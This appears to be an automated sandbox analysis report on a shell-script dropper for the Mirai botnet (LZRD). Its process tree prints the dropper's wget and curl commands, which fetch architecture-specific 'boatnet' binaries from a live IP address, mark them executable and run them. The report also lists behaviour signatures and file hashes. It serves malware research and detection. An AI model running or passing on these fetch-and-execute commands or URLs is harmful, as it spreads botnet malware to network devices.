Analysis

  • max time kernel
    149s
  • max time network
    140s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20260513-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    31/05/2026, 14:21

General

  • Target
    42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh
  • Size 2KB
  • Sample260531-rn8tfaas2z
  • SHA256 42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Family
  • mirai

Botnet
  • LZRD

Extracted

Family
  • mirai

Botnet
  • LZRD

Extracted

Family
  • mirai

Botnet
  • LZRD

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • File and Directory Permissions Modification 1 TTPs 15 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 15 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Writes file to system bin folder 2 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 52 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 30 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh
    /tmp/42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh
    1⤵
    • Executes dropped EXE
    • Writes file to tmp directory
    PID:713
    • /usr/bin/wget
      wget http://142.252.220.133/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:717
    • /usr/bin/curl
      curl -O http://142.252.220.133/hiddenbin/boatnet.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:736
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:739
      • /bin/chmod
        chmod +x 42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh boatnet.x86 systemd-private-0afa7f4cefa64df6b65a217ba868d7e7-systemd-timedated.service-kLdhyt WTF
        2⤵
        • File and Directory Permissions Modification
        PID:740
      • /tmp/WTF
        ./WTF
        2⤵
          PID:741
        • /usr/bin/wget
          wget http://142.252.220.133/hiddenbin/boatnet.mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:743
        • /usr/bin/curl
          curl -O http://142.252.220.133/hiddenbin/boatnet.mips
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:744
        • /bin/cat
          cat boatnet.mips
          2⤵
          • System Network Configuration Discovery
          PID:745
        • /bin/chmod
          chmod +x 42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh boatnet.mips boatnet.x86 systemd-private-0afa7f4cefa64df6b65a217ba868d7e7-systemd-timedated.service-kLdhyt WTF
          2⤵
          • File and Directory Permissions Modification
          PID:746
        • /tmp/WTF
          ./WTF
          2⤵
          • Modifies Watchdog functionality
          • Writes file to system bin folder
          • Reads runtime system information
          PID:747
        • /usr/bin/wget
          wget http://142.252.220.133/hiddenbin/boatnet.arc
          2⤵
          • Writes file to tmp directory
          PID:751
        • /usr/bin/curl
          curl -O http://142.252.220.133/hiddenbin/boatnet.arc
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:756
        • /bin/cat
          cat boatnet.arc
          2⤵
            PID:771
          • /bin/chmod
            chmod +x 42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh boatnet.arc boatnet.mips boatnet.x86 systemd-private-0afa7f4cefa64df6b65a217ba868d7e7-systemd-timedated.service-kLdhyt WTF
            2⤵
            • File and Directory Permissions Modification
            PID:772
          • /tmp/WTF
            ./WTF
            2⤵
              PID:773
            • /usr/bin/wget
              wget http://142.252.220.133/hiddenbin/boatnet.i468
              2⤵
                PID:777
              • /usr/bin/curl
                curl -O http://142.252.220.133/hiddenbin/boatnet.i468
                2⤵
                • Reads runtime system information
                • Writes file to tmp directory
                PID:786
              • /bin/cat
                cat boatnet.i468
                2⤵
                  PID:797
                • /bin/chmod
                  chmod +x 42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 systemd-private-0afa7f4cefa64df6b65a217ba868d7e7-systemd-timedated.service-kLdhyt WTF
                  2⤵
                  • File and Directory Permissions Modification
                  PID:799
                • /tmp/WTF
                  ./WTF
                  2⤵
                    PID:800
                  • /usr/bin/wget
                    wget http://142.252.220.133/hiddenbin/boatnet.i686
                    2⤵
                    • Writes file to tmp directory
                    PID:802
                  • /usr/bin/curl
                    curl -O http://142.252.220.133/hiddenbin/boatnet.i686
                    2⤵
                    • Reads runtime system information
                    • Writes file to tmp directory
                    PID:808
                  • /bin/cat
                    cat boatnet.i686
                    2⤵
                      PID:809
                    • /bin/chmod
                      chmod +x 42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 systemd-private-0afa7f4cefa64df6b65a217ba868d7e7-systemd-timedated.service-kLdhyt WTF
                      2⤵
                      • File and Directory Permissions Modification
                      PID:810
                    • /tmp/WTF
                      ./WTF
                      2⤵
                        PID:811
                      • /usr/bin/wget
                        wget http://142.252.220.133/hiddenbin/boatnet.x86_64
                        2⤵
                        • Writes file to tmp directory
                        PID:813
                      • /usr/bin/curl
                        curl -O http://142.252.220.133/hiddenbin/boatnet.x86_64
                        2⤵
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:814
                      • /bin/cat
                        cat boatnet.x86_64
                        2⤵
                          PID:815
                        • /bin/chmod
                          chmod +x 42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 systemd-private-0afa7f4cefa64df6b65a217ba868d7e7-systemd-timedated.service-kLdhyt WTF
                          2⤵
                          • File and Directory Permissions Modification
                          PID:816
                        • /tmp/WTF
                          ./WTF
                          2⤵
                            PID:817
                          • /usr/bin/wget
                            wget http://142.252.220.133/hiddenbin/boatnet.mpsl
                            2⤵
                            • Writes file to tmp directory
                            PID:819
                          • /usr/bin/curl
                            curl -O http://142.252.220.133/hiddenbin/boatnet.mpsl
                            2⤵
                            • Reads runtime system information
                            • Writes file to tmp directory
                            PID:826
                          • /bin/cat
                            cat boatnet.mpsl
                            2⤵
                              PID:836
                            • /bin/chmod
                              chmod +x 42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 systemd-private-0afa7f4cefa64df6b65a217ba868d7e7-systemd-timedated.service-kLdhyt WTF
                              2⤵
                              • File and Directory Permissions Modification
                              PID:838
                            • /tmp/WTF
                              ./WTF
                              2⤵
                                PID:839
                              • /usr/bin/wget
                                wget http://142.252.220.133/hiddenbin/boatnet.arm
                                2⤵
                                • Writes file to tmp directory
                                PID:842
                              • /usr/bin/curl
                                curl -O http://142.252.220.133/hiddenbin/boatnet.arm
                                2⤵
                                • Reads runtime system information
                                • Writes file to tmp directory
                                PID:853
                              • /bin/cat
                                cat boatnet.arm
                                2⤵
                                  PID:857
                                • /bin/chmod
                                  chmod +x 42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 systemd-private-0afa7f4cefa64df6b65a217ba868d7e7-systemd-timedated.service-kLdhyt WTF
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:858
                                • /tmp/WTF
                                  ./WTF
                                  2⤵
                                    PID:859
                                  • /usr/bin/wget
                                    wget http://142.252.220.133/hiddenbin/boatnet.arm5
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:861
                                  • /usr/bin/curl
                                    curl -O http://142.252.220.133/hiddenbin/boatnet.arm5
                                    2⤵
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:862
                                  • /bin/cat
                                    cat boatnet.arm5
                                    2⤵
                                      PID:863
                                    • /bin/chmod
                                      chmod +x 42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 systemd-private-0afa7f4cefa64df6b65a217ba868d7e7-systemd-timedated.service-kLdhyt WTF
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:864
                                    • /tmp/WTF
                                      ./WTF
                                      2⤵
                                        PID:865
                                      • /usr/bin/wget
                                        wget http://142.252.220.133/hiddenbin/boatnet.arm6
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:867
                                      • /usr/bin/curl
                                        curl -O http://142.252.220.133/hiddenbin/boatnet.arm6
                                        2⤵
                                        • Reads runtime system information
                                        • Writes file to tmp directory
                                        PID:868
                                      • /bin/cat
                                        cat boatnet.arm6
                                        2⤵
                                          PID:872
                                        • /bin/chmod
                                          chmod +x 42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 WTF
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:873
                                        • /tmp/WTF
                                          ./WTF
                                          2⤵
                                            PID:874
                                          • /usr/bin/wget
                                            wget http://142.252.220.133/hiddenbin/boatnet.arm7
                                            2⤵
                                            • Writes file to tmp directory
                                            PID:876
                                          • /usr/bin/curl
                                            curl -O http://142.252.220.133/hiddenbin/boatnet.arm7
                                            2⤵
                                            • Reads runtime system information
                                            • Writes file to tmp directory
                                            PID:877
                                          • /bin/cat
                                            cat boatnet.arm7
                                            2⤵
                                              PID:878
                                            • /bin/chmod
                                              chmod +x 42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 WTF
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:879
                                            • /tmp/WTF
                                              ./WTF
                                              2⤵
                                                PID:880
                                              • /usr/bin/wget
                                                wget http://142.252.220.133/hiddenbin/boatnet.ppc
                                                2⤵
                                                • Writes file to tmp directory
                                                PID:882
                                              • /usr/bin/curl
                                                curl -O http://142.252.220.133/hiddenbin/boatnet.ppc
                                                2⤵
                                                • Reads runtime system information
                                                • Writes file to tmp directory
                                                PID:883
                                              • /bin/cat
                                                cat boatnet.ppc
                                                2⤵
                                                  PID:884
                                                • /bin/chmod
                                                  chmod +x 42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 WTF
                                                  2⤵
                                                  • File and Directory Permissions Modification
                                                  PID:885
                                                • /tmp/WTF
                                                  ./WTF
                                                  2⤵
                                                    PID:886
                                                  • /usr/bin/wget
                                                    wget http://142.252.220.133/hiddenbin/boatnet.spc
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:888
                                                  • /usr/bin/curl
                                                    curl -O http://142.252.220.133/hiddenbin/boatnet.spc
                                                    2⤵
                                                    • Reads runtime system information
                                                    • Writes file to tmp directory
                                                    PID:889
                                                  • /bin/cat
                                                    cat boatnet.spc
                                                    2⤵
                                                      PID:890
                                                    • /bin/chmod
                                                      chmod +x 42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 WTF
                                                      2⤵
                                                      • File and Directory Permissions Modification
                                                      PID:891
                                                    • /tmp/WTF
                                                      ./WTF
                                                      2⤵
                                                        PID:892
                                                      • /usr/bin/wget
                                                        wget http://142.252.220.133/hiddenbin/boatnet.m68k
                                                        2⤵
                                                        • Writes file to tmp directory
                                                        PID:894
                                                      • /usr/bin/curl
                                                        curl -O http://142.252.220.133/hiddenbin/boatnet.m68k
                                                        2⤵
                                                        • Reads runtime system information
                                                        • Writes file to tmp directory
                                                        PID:895
                                                      • /bin/cat
                                                        cat boatnet.m68k
                                                        2⤵
                                                          PID:896
                                                        • /bin/chmod
                                                          chmod +x 42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 WTF
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:897
                                                        • /tmp/WTF
                                                          ./WTF
                                                          2⤵
                                                            PID:898
                                                          • /usr/bin/wget
                                                            wget http://142.252.220.133/hiddenbin/boatnet.sh4
                                                            2⤵
                                                            • Writes file to tmp directory
                                                            PID:900
                                                          • /usr/bin/curl
                                                            curl -O http://142.252.220.133/hiddenbin/boatnet.sh4
                                                            2⤵
                                                            • Reads runtime system information
                                                            • Writes file to tmp directory
                                                            PID:901
                                                          • /bin/cat
                                                            cat boatnet.sh4
                                                            2⤵
                                                              PID:902
                                                            • /bin/chmod
                                                              chmod +x 42836b114e7bcd8cdc52461c940530536c97c24303f8c824d4031d3b9cdbc5a0.sh boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 WTF
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:903
                                                            • /tmp/WTF
                                                              ./WTF
                                                              2⤵
                                                                PID:904

                                                            Network

                                                                  MITRE ATT&CK Enterprise v16

                                                                  Replay Monitor

                                                                  Loading Replay Monitor...

                                                                  Downloads

                                                                  WTF

                                                                  • Path /tmp/WTF
                                                                  • Size 23KB
                                                                  • SHA256 610a9411cbab1f3c5da032961b34a4e2d86a51aff03b23fcaa38de68ad8211c0
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                  WTF

                                                                  • Path /tmp/WTF
                                                                  • Size 105KB
                                                                  • SHA256 66f3340b63c8ad6ae0d917fead94e2b4c5fd222616f15522bb5d9dafbdc88a09
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                  WTF

                                                                  • Path /tmp/WTF
                                                                  • Size 196B
                                                                  • SHA256 80c3fe2ae1062abf56456f52518bd670f9ec3917b7f85e152b347ac6b6faf880
                                                                  • MD5 SHA1 SHA512 TLSH

                                                                  WTF

                                                                  • Path /tmp/WTF
                                                                  • Size 57KB
                                                                  • SHA256 b1b408b3e739090bb9dc275173add3e3a519bbb397fabf9f00aa39d91b2e5cf2
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                  boatnet.x86

                                                                  • Path /tmp/boatnet.x86
                                                                  • Size 20KB
                                                                  • SHA256 0729748a1806017df4751adc22f8249c42845a5f1d4818b5c2cb1481675f50bc
                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH